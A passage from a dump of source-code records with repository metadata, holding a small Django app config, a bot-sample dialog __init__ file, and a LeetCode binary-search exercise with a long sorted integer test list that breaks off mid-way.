] | null | null | null | hyper_science/images_backend/apps.py | postaxmi/hyper-science | 694621a23e97ef27691ef604749cc3050b150bc3 | [
"Apache-2.0"
] | null | null | null | from django.apps import AppConfig
class ImagesBackendConfig(AppConfig):
name = 'images_backend'
| 17 | 37 | 0.784314 | 11 | 102 | 7.181818 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147059 | 102 | 5 | 38 | 20.4 | 0.908046 | 0 | 0 | 0 | 0 | 0 | 0.137255 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
f8117421cd0710894b7afb92549517d2d62aa3e4 | 128 | py | Python | samples/experimental/skills-prototypes/dialog-to-dialog/authentication-bot/dialogs/__init__.py | Shiftersky/botbuilder-python | e00ea990d5cb5b05d545d87c51249dfa8f183581 | [
"MIT"
] | 1 | 2020-02-19T15:50:10.000Z | 2020-02-19T15:50:10.000Z | samples/experimental/skills-prototypes/dialog-to-dialog/authentication-bot/dialogs/__init__.py | Fortune-Adekogbe/botbuilder-python | 4e48c874c32a2a7fe7f27a7a1f825e2aa39466c4 | [
"MIT"
] | null | null | null | samples/experimental/skills-prototypes/dialog-to-dialog/authentication-bot/dialogs/__init__.py | Fortune-Adekogbe/botbuilder-python | 4e48c874c32a2a7fe7f27a7a1f825e2aa39466c4 | [
"MIT"
] | null | null | null | from .logout_dialog import LogoutDialog
from .main_dialog import MainDialog
__all__ = [
"LogoutDialog",
"MainDialog"
]
| 16 | 39 | 0.742188 | 13 | 128 | 6.846154 | 0.615385 | 0.269663 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179688 | 128 | 7 | 40 | 18.285714 | 0.847619 | 0 | 0 | 0 | 0 | 0 | 0.171875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
f84fe4ab086b767d9c3aa6da6e02e45c73696f26 | 55,119 | py | Python | leetcode/704_binary_search.py | djfedos/djfedos-boostrap | 8a2fb1259c52134f6bcbda53821ab8f3b20e50e4 | [
"Apache-2.0"
] | null | null | null | leetcode/704_binary_search.py | djfedos/djfedos-boostrap | 8a2fb1259c52134f6bcbda53821ab8f3b20e50e4 | [
"Apache-2.0"
] | 9 | 2021-11-03T18:57:45.000Z | 2022-03-26T06:29:38.000Z | leetcode/704_binary_search.py | djfedos/djfedos-boostrap | 8a2fb1259c52134f6bcbda53821ab8f3b20e50e4 | [
"Apache-2.0"
] | null | null | null | def search(nums: list, target: int) -> int:
l = len(nums)
middle = l // 2
if l == 1:
if nums[0] == target:
return 0
else:
return -1
while l >= 1:
if middle == 0:
middle = 1
if nums[middle - 1] == target:
return middle - 1
l = round(l/2)
if l > 1:
if target > nums[middle - 1]:
if middle + l > len(nums) - 1:
middle = len(nums) - 1
else:
middle += l
else:
if middle - l < 0:
middle = 0
else:
middle -= l
else:
if target > nums[middle - 1]:
if middle >= len(nums):
middle = len(nums)
else:
middle += 1
else:
if middle <= 1:
middle = 1
else:
middle -= 1
if nums[middle - 1] == target:
return middle - 1
else:
return -1
pile = [-9999,-9998,-9995,-9993,-9990,-9988,-9981,-9980,-9979,-9977,-9975,-9971,-9968,-9964,-9961,-9959,-9956,-9953,-9952,-9951,-9949,-9947,-9946,-9942,-9937,-9935,-9934,-9933,-9926,-9925,-9922,-9920,-9919,-9918,-9917,-9916,-9914,-9912,-9909,-9908,-9906,-9905,-9904,-9899,-9897,-9895,-9887,-9886,-9885,-9884,-9883,-9882,-9881,-9880,-9879,-9878,-9877,-9874,-9870,-9869,-9867,-9866,-9865,-9864,-9863,-9862,-9860,-9859,-9855,-9849,-9848,-9847,-9840,-9839,-9838,-9831,-9830,-9826,-9825,-9824,-9823,-9822,-9820,-9818,-9817,-9814,-9813,-9808,-9804,-9803,-9801,-9800,-9794,-9792,-9786,-9782,-9778,-9777,-9776,-9775,-9772,-9770,-9769,-9768,-9765,-9762,-9761,-9759,-9756,-9752,-9751,-9750,-9745,-9744,-9739,-9738,-9736,-9734,-9733,-9731,-9729,-9727,-9725,-9723,-9721,-9720,-9719,-9716,-9713,-9711,-9707,-9702,-9700,-9699,-9698,-9697,-9696,-9694,-9692,-9691,-9690,-9689,-9688,-9686,-9685,-9684,-9682,-9680,-9678,-9677,-9676,-9675,-9671,-9670,-9669,-9665,-9664,-9658,-9655,-9654,-9653,-9652,-9651,-9650,-9649,-9647,-9645,-9644,-9643,-9642,-9639,-9638,-9637,-9636,-9635,-9634,-9633,-9632,-9631,-9630,-9629,-9628,-9627,-9626,-9625,-9623,-9622,-9621,-9620,-9618,-9617,-9616,-9613,-9612,-9611,-9609,-9607,-9602,-9594,-9593,-9592,-9591,-9590,-9589,-9588,-9586,-9585,-9584,-9582,-9579,-9578,-9577,-9576,-9573,-9572,-9570,-9569,-9566,-9564,-9559,-9558,-9556,-9554,-9553,-9551,-9549,-9548,-9545,-9542,-9538,-9537,-9536,-9534,-9531,-9530,-9527,-9526,-9522,-9520,-9519,-9515,-9514,-9504,-9499,-9498,-9495,-9494,-9491,-9490,-9489,-9485,-9483,-9482,-9481,-9480,-9479,-9478,-9477,-9476,-9475,-9471,-9470,-9469,-9465,-9464,-9463,-9461,-9460,-9458,-9456,-9454,-9453,-9449,-9448,-9446,-9445,-9441,-9439,-9436,-9435,-9434,-9433,-9428,-9426,-9424,-9422,-9421,-9419,-9418,-9413,-9412,-9410,-9407,-9404,-9403,-9402,-9400,-9399,-9398,-9395,-9393,-9392,-9390,-9389,-9388,-9382,-9381,-9374,-9370,-9369,-9366,-9365,-9363,-9362,-9359,-9358,-9355,-9353,-9350,-9348,-9346,-9343,-9341,-9340,-9336,-9334,-9329,-9328,-9326,-9325,-9324,-9322,-9321,-9320,-9318,-9314,-9312,-9308,-9307,-9306,-9304,-9303,-9300,-9298,-9297,-9296,-9295,-9293,-9291,-9289,-9288,-9286,-9285,-9284,-9283,-9281,-9279,-9276,-9275,-9274,-9273,-9271,-9267,-9265,-9263,-9262,-9260,-9259,-9257,-9254,-9253,-9250,-9249,-9247,-9246,-9245,-9243,-9240,-9236,-9235,-9234,-9233,-9232,-9227,-9224,-9220,-9216,-9214,-9212,-9211,-9210,-9209,-9206,-9203,-9200,-9198,-9196,-9190,-9189,-9188,-9184,-9183,-9181,-9178,-9176,-9172,-9171,-9166,-9165,-9164,-9163,-9161,-9156,-9154,-9153,-9152,-9149,-9146,-9145,-9144,-9143,-9142,-9140,-9137,-9135,-9134,-9133,-9131,-9130,-9129,-9128,-9127,-9125,-9123,-9122,-9121,-9119,-9117,-9116,-9114,-9113,-9109,-9108,-9107,-9103,-9102,-9100,-9099,-9097,-9094,-9093,-9092,-9090,-9088,-9086,-9084,-9080,-9079,-9077,-9075,-9073,-9071,-9068,-9067,-9066,-9065,-9063,-9061,-9060,-9058,-9057,-9055,-9054,-9053,-9052,-9051,-9047,-9045,-9044,-9043,-9039,-9037,-9036,-9034,-9033,-9032,-9031,-9029,-9028,-9027,-9026,-9025,-9024,-9021,-9020,-9019,-9016,-9015,-9013,-9007,-9006,-9004,-9003,-9002,-8999,-8994,-8993,-8992,-8991,-8990,-8989,-8988,-8986,-8985,-8984,-8983,-8982,-8981,-8980,-8979,-8974,-8973,-8972,-8971,-8967,-8966,-8965,-8963,-8962,-8960,-8958,-8957,-8956,-8955,-8953,-8951,-8948,-8947,-8946,-8945,-8944,-8939,-8937,-8936,-8935,-8934,-8933,-8932,-8931,-8929,-8928,-8923,-8921,-8918,-8917,-8914,-8913,-8912,-8910,-8905,-8902,-8901,-8898,-8896,-8894,-8893,-8891,-8890,-8889,-8888,-8887,-8886,-8885,-8884,-8880,-8878,-8877,-8876,-8873,-8872,-8869,-8868,-8866,-8864,-8863,-8862,-8860,-8859,-8858,-8857,-8856,-8855,-8854,-8852,-8851,-8850,-8849,-8847,-8844,-8839,-8838,-8837,-8836,-8835,-8834,-8831,-8829,-8826,-8824,-8823,-8821,-8819,-8814,-8813,-8811,-8810,-8808,-8806,-8805,-8803,-8801,-8800,-8795,-8793,-8789,-8788,-8785,-8784,-8783,-8782,-8781,-8780,-8779,-8778,-8777,-8776,-8775,-8772,-8770,-8768,-8765,-8764,-8763,-8762,-8761,-8760,-8759,-8756,-8755,-8752,-8750,-8749,-8748,-8747,-8746,-8744,-8743,-8742,-8741,-8737,-8736,-8731,-8728,-8727,-8725,-8724,-8723,-8722,-8720,-8719,-8718,-8717,-8716,-8712,-8710,-8708,-8705,-8703,-8701,-8700,-8699,-8698,-8697,-8695,-8692,-8690,-8687,-8682,-8680,-8677,-8676,-8669,-8668,-8667,-8666,-8665,-8664,-8663,-8662,-8661,-8660,-8658,-8657,-8652,-8648,-8647,-8646,-8645,-8643,-8641,-8638,-8637,-8635,-8633,-8631,-8626,-8620,-8616,-8614,-8613,-8612,-8611,-8609,-8607,-8605,-8604,-8603,-8602,-8600,-8595,-8594,-8592,-8591,-8590,-8583,-8582,-8581,-8578,-8577,-8576,-8575,-8574,-8571,-8570,-8568,-8563,-8561,-8559,-8558,-8557,-8556,-8554,-8553,-8552,-8549,-8545,-8544,-8543,-8541,-8540,-8538,-8537,-8536,-8534,-8530,-8525,-8524,-8521,-8520,-8517,-8516,-8514,-8511,-8509,-8508,-8505,-8502,-8501,-8500,-8496,-8495,-8490,-8489,-8487,-8485,-8482,-8481,-8474,-8473,-8467,-8465,-8462,-8461,-8460,-8459,-8458,-8456,-8455,-8447,-8443,-8442,-8439,-8438,-8436,-8435,-8434,-8431,-8430,-8429,-8428,-8426,-8425,-8422,-8421,-8419,-8418,-8415,-8414,-8412,-8411,-8409,-8407,-8404,-8402,-8401,-8400,-8395,-8393,-8392,-8391,-8388,-8387,-8384,-8382,-8381,-8380,-8373,-8372,-8369,-8368,-8365,-8363,-8361,-8360,-8359,-8357,-8355,-8354,-8351,-8347,-8346,-8344,-8343,-8342,-8341,-8339,-8338,-8336,-8333,-8331,-8330,-8328,-8324,-8323,-8321,-8320,-8319,-8317,-8316,-8310,-8305,-8304,-8302,-8301,-8300,-8298,-8297,-8296,-8295,-8292,-8289,-8286,-8285,-8278,-8276,-8273,-8271,-8267,-8265,-8264,-8263,-8262,-8261,-8257,-8255,-8252,-8249,-8245,-8244,-8239,-8238,-8235,-8232,-8231,-8228,-8227,-8226,-8225,-8224,-8222,-8220,-8217,-8216,-8215,-8213,-8211,-8209,-8207,-8205,-8204,-8199,-8198,-8195,-8193,-8192,-8189,-8187,-8182,-8181,-8177,-8175,-8174,-8173,-8171,-8168,-8167,-8166,-8165,-8163,-8159,-8158,-8157,-8156,-8155,-8152,-8151,-8150,-8148,-8141,-8140,-8138,-8137,-8136,-8135,-8133,-8127,-8126,-8124,-8123,-8121,-8120,-8119,-8117,-8116,-8115,-8113,-8112,-8111,-8110,-8109,-8107,-8105,-8104,-8102,-8101,-8100,-8099,-8094,-8093,-8089,-8080,-8079,-8078,-8077,-8076,-8074,-8073,-8070,-8069,-8067,-8065,-8064,-8062,-8061,-8053,-8052,-8050,-8049,-8048,-8046,-8045,-8044,-8043,-8042,-8041,-8040,-8039,-8036,-8035,-8034,-8033,-8029,-8027,-8026,-8024,-8023,-8022,-8020,-8016,-8015,-8010,-8009,-8007,-8006,-8003,-7994,-7993,-7992,-7990,-7988,-7987,-7984,-7982,-7980,-7979,-7973,-7972,-7971,-7968,-7965,-7959,-7958,-7956,-7955,-7954,-7948,-7947,-7946,-7944,-7943,-7942,-7941,-7940,-7937,-7936,-7932,-7929,-7927,-7926,-7925,-7923,-7922,-7919,-7918,-7916,-7915,-7913,-7912,-7911,-7910,-7909,-7908,-7907,-7902,-7900,-7899,-7898,-7894,-7893,-7890,-7889,-7888,-7883,-7882,-7880,-7877,-7876,-7871,-7870,-7868,-7866,-7863,-7862,-7861,-7860,-7858,-7856,-7855,-7852,-7850,-7846,-7845,-7844,-7842,-7841,-7838,-7833,-7831,-7830,-7828,-7827,-7825,-7823,-7821,-7820,-7819,-7817,-7816,-7815,-7814,-7813,-7809,-7806,-7805,-7801,-7796,-7795,-7793,-7791,-7790,-7789,-7787,-7783,-7782,-7777,-7773,-7772,-7770,-7769,-7768,-7764,-7761,-7759,-7758,-7757,-7755,-7752,-7751,-7744,-7742,-7740,-7735,-7734,-7733,-7731,-7729,-7726,-7724,-7722,-7720,-7718,-7717,-7715,-7710,-7709,-7707,-7706,-7705,-7704,-7703,-7702,-7701,-7699,-7698,-7697,-7693,-7692,-7688,-7687,-7686,-7685,-7682,-7680,-7676,-7675,-7672,-7671,-7669,-7664,-7660,-7652,-7646,-7644,-7643,-7642,-7640,-7639,-7636,-7631,-7629,-7625,-7621,-7620,-7617,-7616,-7613,-7612,-7608,-7606,-7605,-7603,-7602,-7599,-7598,-7597,-7592,-7590,-7588,-7587,-7586,-7585,-7583,-7582,-7580,-7578,-7577,-7574,-7572,-7571,-7570,-7566,-7563,-7560,-7559,-7557,-7555,-7552,-7551,-7550,-7549,-7544,-7542,-7537,-7534,-7531,-7530,-7526,-7518,-7516,-7514,-7513,-7510,-7507,-7505,-7503,-7502,-7501,-7500,-7499,-7498,-7497,-7495,-7494,-7491,-7489,-7488,-7486,-7485,-7484,-7482,-7481,-7477,-7475,-7472,-7470,-7467,-7462,-7456,-7455,-7454,-7453,-7451,-7449,-7448,-7445,-7444,-7442,-7440,-7437,-7434,-7433,-7430,-7426,-7423,-7421,-7418,-7417,-7415,-7414,-7411,-7409,-7406,-7405,-7402,-7401,-7399,-7398,-7397,-7396,-7394,-7384,-7382,-7380,-7379,-7378,-7377,-7376,-7375,-7373,-7372,-7369,-7368,-7367,-7365,-7362,-7361,-7360,-7358,-7357,-7356,-7351,-7350,-7349,-7346,-7343,-7341,-7339,-7335,-7333,-7332,-7331,-7328,-7327,-7326,-7323,-7321,-7319,-7318,-7315,-7314,-7313,-7310,-7309,-7308,-7305,-7304,-7303,-7302,-7301,-7300,-7299,-7298,-7295,-7294,-7292,-7291,-7290,-7288,-7286,-7284,-7282,-7280,-7279,-7278,-7276,-7275,-7274,-7268,-7264,-7259,-7257,-7252,-7248,-7246,-7242,-7240,-7239,-7238,-7237,-7233,-7230,-7225,-7222,-7221,-7220,-7218,-7215,-7214,-7212,-7211,-7207,-7205,-7203,-7199,-7198,-7195,-7194,-7185,-7183,-7180,-7179,-7178,-7176,-7175,-7172,-7169,-7168,-7167,-7166,-7164,-7163,-7161,-7158,-7157,-7155,-7154,-7153,-7148,-7141,-7139,-7138,-7137,-7136,-7135,-7132,-7131,-7130,-7129,-7128,-7126,-7123,-7121,-7120,-7119,-7117,-7116,-7114,-7112,-7111,-7110,-7109,-7107,-7105,-7104,-7103,-7102,-7100,-7098,-7097,-7090,-7089,-7086,-7085,-7083,-7081,-7080,-7076,-7073,-7072,-7071,-7070,-7068,-7065,-7064,-7063,-7062,-7061,-7059,-7058,-7057,-7055,-7054,-7050,-7049,-7048,-7046,-7045,-7041,-7038,-7036,-7035,-7034,-7030,-7028,-7027,-7026,-7025,-7024,-7023,-7022,-7020,-7018,-7017,-7015,-7014,-7012,-7010,-7009,-7008,-7004,-7003,-6997,-6996,-6993,-6991,-6989,-6987,-6981,-6977,-6975,-6973,-6972,-6971,-6969,-6968,-6967,-6966,-6964,-6957,-6954,-6951,-6947,-6946,-6945,-6944,-6943,-6942,-6941,-6937,-6936,-6933,-6930,-6927,-6926,-6919,-6916,-6915,-6912,-6911,-6908,-6906,-6902,-6901,-6899,-6897,-6896,-6891,-6889,-6887,-6885,-6883,-6882,-6881,-6878,-6877,-6875,-6872,-6871,-6870,-6869,-6868,-6867,-6859,-6855,-6850,-6849,-6845,-6844,-6842,-6840,-6835,-6834,-6832,-6828,-6827,-6826,-6824,-6821,-6820,-6819,-6814,-6812,-6811,-6808,-6802,-6799,-6798,-6795,-6792,-6787,-6786,-6782,-6780,-6778,-6777,-6776,-6770,-6767,-6766,-6764,-6763,-6760,-6759,-6758,-6757,-6755,-6752,-6751,-6750,-6748,-6743,-6741,-6740,-6738,-6737,-6734,-6733,-6731,-6728,-6727,-6722,-6718,-6717,-6714,-6712,-6710,-6709,-6707,-6701,-6699,-6697,-6696,-6692,-6691,-6688,-6687,-6686,-6684,-6680,-6679,-6678,-6676,-6675,-6674,-6672,-6671,-6670,-6668,-6665,-6663,-6658,-6657,-6656,-6655,-6654,-6653,-6652,-6651,-6650,-6649,-6646,-6645,-6644,-6642,-6641,-6640,-6639,-6637,-6636,-6635,-6634,-6632,-6630,-6628,-6627,-6626,-6625,-6624,-6620,-6619,-6618,-6617,-6616,-6615,-6610,-6607,-6605,-6603,-6601,-6600,-6599,-6597,-6596,-6595,-6593,-6590,-6589,-6588,-6586,-6582,-6581,-6577,-6576,-6574,-6568,-6566,-6560,-6559,-6554,-6553,-6552,-6550,-6549,-6546,-6542,-6539,-6537,-6532,-6531,-6530,-6529,-6528,-6524,-6523,-6521,-6520,-6518,-6517,-6515,-6511,-6510,-6509,-6506,-6503,-6500,-6497,-6488,-6486,-6485,-6484,-6483,-6482,-6479,-6478,-6477,-6475,-6474,-6473,-6471,-6470,-6469,-6465,-6462,-6458,-6456,-6455,-6453,-6452,-6450,-6449,-6448,-6447,-6446,-6444,-6442,-6441,-6437,-6436,-6435,-6433,-6432,-6429,-6426,-6424,-6423,-6422,-6421,-6419,-6416,-6413,-6412,-6411,-6409,-6408,-6405,-6404,-6403,-6400,-6399,-6397,-6396,-6394,-6392,-6390,-6389,-6388,-6387,-6385,-6382,-6381,-6379,-6377,-6374,-6371,-6367,-6364,-6361,-6360,-6355,-6354,-6353,-6352,-6351,-6349,-6344,-6343,-6341,-6340,-6339,-6338,-6336,-6335,-6333,-6332,-6331,-6330,-6328,-6326,-6324,-6320,-6319,-6317,-6315,-6313,-6312,-6310,-6309,-6306,-6304,-6303,-6302,-6301,-6300,-6296,-6294,-6293,-6292,-6291,-6289,-6287,-6286,-6285,-6284,-6283,-6280,-6275,-6274,-6267,-6266,-6264,-6263,-6261,-6260,-6259,-6258,-6256,-6255,-6252,-6251,-6250,-6249,-6241,-6236,-6232,-6231,-6230,-6229,-6228,-6224,-6223,-6222,-6221,-6220,-6219,-6218,-6217,-6215,-6214,-6213,-6210,-6209,-6206,-6204,-6202,-6195,-6194,-6190,-6189,-6186,-6185,-6182,-6180,-6178,-6177,-6176,-6172,-6168,-6164,-6160,-6159,-6155,-6154,-6153,-6150,-6149,-6147,-6138,-6136,-6135,-6129,-6124,-6120,-6119,-6118,-6117,-6116,-6115,-6113,-6111,-6110,-6109,-6107,-6105,-6103,-6101,-6098,-6097,-6096,-6095,-6093,-6092,-6090,-6089,-6084,-6083,-6081,-6079,-6077,-6074,-6072,-6064,-6062,-6061,-6058,-6056,-6054,-6053,-6051,-6050,-6047,-6045,-6044,-6043,-6042,-6040,-6039,-6038,-6037,-6036,-6035,-6031,-6029,-6027,-6026,-6025,-6024,-6021,-6019,-6017,-6015,-6012,-6009,-6008,-6006,-6005,-6004,-6003,-6001,-5999,-5997,-5995,-5994,-5993,-5985,-5982,-5974,-5973,-5972,-5970,-5968,-5966,-5965,-5963,-5962,-5961,-5960,-5959,-5956,-5953,-5951,-5950,-5945,-5944,-5943,-5939,-5937,-5934,-5933,-5932,-5929,-5923,-5922,-5920,-5916,-5913,-5912,-5910,-5908,-5907,-5906,-5905,-5903,-5902,-5901,-5899,-5893,-5891,-5890,-5888,-5885,-5884,-5882,-5881,-5878,-5877,-5874,-5873,-5870,-5869,-5865,-5861,-5858,-5857,-5853,-5851,-5850,-5847,-5844,-5842,-5840,-5839,-5836,-5835,-5834,-5831,-5830,-5829,-5828,-5827,-5825,-5824,-5821,-5820,-5819,-5815,-5813,-5812,-5810,-5809,-5808,-5807,-5806,-5805,-5803,-5801,-5797,-5794,-5793,-5789,-5787,-5783,-5782,-5778,-5776,-5772,-5768,-5763,-5762,-5761,-5754,-5752,-5751,-5749,-5748,-5744,-5742,-5741,-5740,-5738,-5736,-5735,-5734,-5733,-5731,-5730,-5729,-5728,-5726,-5725,-5716,-5715,-5714,-5709,-5708,-5705,-5702,-5700,-5699,-5698,-5695,-5693,-5692,-5690,-5689,-5688,-5687,-5686,-5684,-5682,-5681,-5680,-5678,-5677,-5676,-5667,-5666,-5662,-5659,-5656,-5654,-5653,-5650,-5649,-5648,-5647,-5644,-5640,-5638,-5637,-5634,-5633,-5626,-5624,-5622,-5620,-5619,-5618,-5616,-5615,-5613,-5611,-5608,-5607,-5606,-5605,-5603,-5602,-5601,-5600,-5598,-5597,-5595,-5594,-5592,-5591,-5589,-5587,-5586,-5584,-5582,-5580,-5574,-5573,-5572,-5571,-5570,-5562,-5561,-5560,-5559,-5556,-5551,-5548,-5547,-5546,-5545,-5544,-5542,-5541,-5538,-5537,-5536,-5535,-5534,-5531,-5526,-5521,-5520,-5519,-5517,-5514,-5509,-5505,-5503,-5502,-5499,-5498,-5497,-5495,-5493,-5492,-5491,-5490,-5487,-5486,-5485,-5484,-5482,-5481,-5480,-5479,-5478,-5477,-5475,-5474,-5470,-5469,-5468,-5467,-5464,-5462,-5461,-5460,-5459,-5457,-5455,-5454,-5449,-5445,-5444,-5442,-5441,-5438,-5434,-5431,-5430,-5429,-5428,-5427,-5426,-5424,-5422,-5420,-5419,-5418,-5415,-5412,-5408,-5407,-5406,-5404,-5402,-5401,-5400,-5399,-5398,-5397,-5396,-5394,-5393,-5391,-5390,-5388,-5387,-5386,-5384,-5383,-5382,-5381,-5379,-5378,-5374,-5373,-5369,-5363,-5361,-5360,-5359,-5355,-5351,-5350,-5349,-5347,-5346,-5345,-5339,-5336,-5335,-5334,-5332,-5331,-5327,-5325,-5323,-5320,-5319,-5317,-5316,-5315,-5313,-5310,-5307,-5306,-5304,-5300,-5298,-5297,-5296,-5295,-5293,-5292,-5290,-5289,-5287,-5286,-5284,-5283,-5282,-5276,-5275,-5272,-5271,-5270,-5269,-5266,-5265,-5263,-5262,-5261,-5260,-5259,-5257,-5256,-5255,-5253,-5252,-5250,-5249,-5248,-5246,-5244,-5239,-5238,-5237,-5236,-5235,-5234,-5232,-5231,-5230,-5226,-5225,-5223,-5222,-5221,-5219,-5216,-5215,-5212,-5211,-5209,-5208,-5206,-5205,-5204,-5203,-5202,-5200,-5199,-5198,-5197,-5196,-5195,-5193,-5192,-5191,-5189,-5188,-5187,-5185,-5182,-5181,-5180,-5179,-5178,-5177,-5174,-5173,-5171,-5170,-5167,-5166,-5161,-5159,-5157,-5155,-5154,-5151,-5148,-5145,-5144,-5141,-5140,-5139,-5137,-5136,-5134,-5133,-5131,-5129,-5126,-5125,-5124,-5123,-5122,-5120,-5116,-5109,-5108,-5105,-5099,-5097,-5095,-5094,-5093,-5092,-5091,-5088,-5087,-5086,-5085,-5082,-5081,-5080,-5075,-5072,-5067,-5066,-5064,-5062,-5061,-5060,-5059,-5058,-5057,-5055,-5054,-5053,-5052,-5049,-5048,-5046,-5043,-5041,-5038,-5037,-5036,-5035,-5034,-5031,-5029,-5026,-5025,-5022,-5020,-5018,-5017,-5014,-5011,-5010,-5008,-5007,-5004,-5003,-5002,-5001,-4998,-4995,-4994,-4992,-4991,-4990,-4989,-4987,-4986,-4983,-4982,-4980,-4979,-4978,-4977,-4973,-4971,-4969,-4968,-4967,-4966,-4964,-4963,-4959,-4957,-4955,-4952,-4950,-4949,-4945,-4944,-4943,-4942,-4941,-4939,-4937,-4931,-4929,-4928,-4926,-4925,-4924,-4922,-4921,-4920,-4918,-4916,-4915,-4914,-4913,-4907,-4905,-4904,-4903,-4902,-4897,-4896,-4895,-4894,-4893,-4892,-4888,-4887,-4886,-4885,-4884,-4881,-4878,-4877,-4875,-4874,-4869,-4868,-4864,-4863,-4862,-4861,-4857,-4856,-4855,-4854,-4853,-4852,-4850,-4845,-4843,-4841,-4840,-4839,-4837,-4836,-4832,-4831,-4830,-4829,-4827,-4826,-4824,-4823,-4822,-4816,-4815,-4811,-4808,-4807,-4804,-4803,-4802,-4800,-4799,-4796,-4795,-4792,-4790,-4786,-4781,-4779,-4778,-4777,-4776,-4775,-4773,-4771,-4770,-4768,-4766,-4763,-4762,-4760,-4756,-4754,-4750,-4748,-4747,-4745,-4744,-4742,-4740,-4738,-4736,-4734,-4733,-4729,-4728,-4725,-4723,-4722,-4720,-4719,-4717,-4715,-4713,-4711,-4710,-4709,-4708,-4704,-4703,-4702,-4699,-4698,-4693,-4692,-4689,-4688,-4685,-4682,-4681,-4680,-4679,-4678,-4677,-4676,-4669,-4668,-4667,-4666,-4664,-4663,-4660,-4658,-4653,-4652,-4651,-4650,-4649,-4647,-4646,-4644,-4639,-4638,-4634,-4632,-4631,-4629,-4628,-4627,-4626,-4623,-4622,-4621,-4619,-4614,-4611,-4609,-4608,-4603,-4598,-4595,-4592,-4590,-4589,-4587,-4585,-4584,-4582,-4580,-4578,-4577,-4575,-4570,-4569,-4567,-4566,-4562,-4561,-4559,-4557,-4556,-4555,-4552,-4551,-4549,-4548,-4546,-4545,-4543,-4542,-4538,-4529,-4525,-4524,-4523,-4519,-4518,-4517,-4516,-4513,-4508,-4503,-4500,-4499,-4495,-4493,-4489,-4488,-4487,-4485,-4482,-4480,-4478,-4475,-4474,-4471,-4470,-4468,-4464,-4461,-4457,-4456,-4455,-4454,-4453,-4447,-4445,-4444,-4443,-4440,-4436,-4434,-4433,-4432,-4430,-4429,-4428,-4427,-4425,-4424,-4423,-4420,-4418,-4415,-4411,-4405,-4401,-4400,-4399,-4398,-4394,-4393,-4386,-4384,-4382,-4379,-4378,-4375,-4374,-4373,-4370,-4369,-4368,-4367,-4366,-4362,-4360,-4359,-4356,-4353,-4349,-4347,-4346,-4344,-4343,-4340,-4339,-4338,-4337,-4336,-4334,-4333,-4332,-4329,-4327,-4325,-4322,-4321,-4319,-4317,-4316,-4315,-4313,-4312,-4310,-4309,-4308,-4307,-4303,-4302,-4301,-4296,-4294,-4291,-4288,-4286,-4281,-4278,-4277,-4275,-4273,-4272,-4264,-4262,-4261,-4260,-4257,-4254,-4250,-4249,-4246,-4245,-4242,-4241,-4238,-4237,-4234,-4232,-4230,-4229,-4222,-4220,-4219,-4216,-4215,-4214,-4213,-4211,-4209,-4201,-4200,-4199,-4196,-4195,-4193,-4191,-4189,-4188,-4187,-4186,-4185,-4184,-4180,-4179,-4178,-4175,-4173,-4172,-4170,-4168,-4167,-4165,-4161,-4160,-4159,-4158,-4157,-4153,-4152,-4151,-4150,-4147,-4146,-4145,-4144,-4142,-4140,-4139,-4137,-4136,-4135,-4134,-4133,-4130,-4129,-4128,-4127,-4125,-4124,-4122,-4121,-4120,-4119,-4117,-4116,-4113,-4112,-4111,-4109,-4108,-4101,-4100,-4099,-4097,-4096,-4094,-4092,-4089,-4088,-4087,-4085,-4084,-4082,-4078,-4074,-4073,-4072,-4071,-4070,-4069,-4068,-4064,-4059,-4056,-4053,-4049,-4048,-4047,-4046,-4045,-4042,-4039,-4038,-4037,-4036,-4035,-4029,-4028,-4024,-4023,-4022,-4021,-4019,-4018,-4017,-4015,-4013,-4011,-4009,-4008,-4007,-4006,-4005,-4003,-4002,-4001,-3997,-3996,-3995,-3994,-3993,-3992,-3991,-3990,-3987,-3986,-3985,-3983,-3981,-3975,-3972,-3971,-3969,-3966,-3965,-3964,-3960,-3958,-3956,-3955,-3954,-3953,-3951,-3950,-3948,-3947,-3945,-3943,-3941,-3940,-3938,-3937,-3933,-3930,-3928,-3926,-3924,-3921,-3919,-3918,-3917,-3916,-3915,-3913,-3907,-3902,-3901,-3900,-3898,-3896,-3894,-3891,-3890,-3888,-3885,-3884,-3883,-3882,-3880,-3877,-3876,-3875,-3874,-3872,-3869,-3864,-3861,-3860,-3859,-3858,-3856,-3855,-3852,-3850,-3849,-3847,-3845,-3842,-3837,-3833,-3832,-3831,-3829,-3825,-3823,-3822,-3821,-3819,-3818,-3815,-3814,-3813,-3811,-3810,-3808,-3807,-3806,-3804,-3801,-3798,-3797,-3794,-3793,-3791,-3787,-3786,-3783,-3782,-3781,-3780,-3779,-3775,-3774,-3771,-3770,-3769,-3768,-3767,-3766,-3765,-3762,-3759,-3758,-3757,-3756,-3755,-3754,-3752,-3751,-3750,-3748,-3747,-3746,-3745,-3743,-3742,-3741,-3740,-3739,-3738,-3737,-3736,-3734,-3733,-3730,-3729,-3728,-3725,-3723,-3719,-3718,-3717,-3713,-3712,-3708,-3707,-3705,-3704,-3702,-3701,-3700,-3698,-3697,-3696,-3695,-3694,-3693,-3691,-3690,-3689,-3687,-3682,-3680,-3679,-3678,-3677,-3676,-3673,-3671,-3669,-3668,-3663,-3661,-3657,-3656,-3651,-3650,-3649,-3646,-3639,-3637,-3634,-3633,-3632,-3631,-3629,-3628,-3626,-3622,-3621,-3620,-3619,-3618,-3616,-3615,-3609,-3608,-3606,-3605,-3604,-3603,-3601,-3600,-3599,-3597,-3594,-3592,-3590,-3589,-3588,-3587,-3586,-3585,-3584,-3583,-3581,-3580,-3579,-3566,-3564,-3563,-3561,-3560,-3555,-3552,-3548,-3545,-3544,-3542,-3541,-3540,